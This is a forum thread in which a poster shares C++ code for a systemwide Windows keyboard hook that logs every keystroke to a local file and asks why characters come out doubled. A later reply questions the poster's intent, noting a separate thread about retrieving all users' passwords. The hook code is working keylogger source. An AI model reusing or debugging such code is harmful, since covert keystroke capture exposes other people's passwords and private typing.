Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations Mike Lewis on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

Keyboard hook trouble

Status
Not open for further replies.

jnxx

Programmer
May 18, 2005
14
GB
I've recently created a keyboardhook(systemwide) and although it works fine i.e records keystrokes etc. it double takes the characters that it recieves. Here's and example output of the text "look there is a thingie!", this text is recorded as:
"
look tthheerree iiisss aaaa ttttthhhhhiiiiinnnnngggggiiiiieeeee "

Here's the dll code responsible:

Code:
// Exported functions 
extern "C" __declspec(dllexport)bool InstallkbHook();
extern "C" __declspec(dllexport)bool RemovekbHook();
// Callback Procedure Declaration 
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
// Global variables 
HHOOK HookHandle; 
HINSTANCE DllInstance;
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
 DllInstance=hinst;
        return 1;
}
bool InstallkbHook()
{ 
  HookHandle=SetWindowsHookEx(WH_KEYBOARD,
      reinterpret_cast<HOOKPROC>(KeyboardProc),DllInstance,0);
  if (HookHandle==NULL)return false; 
  else return true; 
}
bool RemovekbHook()
{
  if(UnhookWindowsHookEx(HookHandle)==0) 
  { 
    return false; 
  } 
  else return true; 
}

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{ 
  if (code<0) 
  {
    return CallNextHookEx(HookHandle,code,wParam,lParam); 
  } 

FILE *f1;
 char ch;            
    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==code))
    {        
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
        {
            f1=fopen("c:\\report.txt","a+");
            if (wParam==VK_RETURN)
            {
                ch='\n';
                fwrite(&ch,1,1,f1);
            }
            else
            {
                   BYTE ks[256];
                GetKeyboardState(ks);

                WORD w;
                UINT scan=0;
                ToAscii(wParam,scan,ks,&w,0);
                ch = char(w); 
                fwrite(&ch,1,1,f1);
            }
        fclose(f1);
        }
    }

  return CallNextHookEx(HookHandle,code,wParam,lParam);
}

Any ideas?
 
I'm guessing at this point but are you clearing out all the buffers/arrays, etc?


James P. Cottingham
-----------------------------------------
[sup]I'm number 1,229!
I'm number 1,229![/sup]
 
So you're writing a keystroke logger, and in another thread, you say you're writing a program to retrieve all users' passwords?

I don't think I like the sound of that. Maybe you'd like to take this opportunity to persuade us of your good intentions.
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top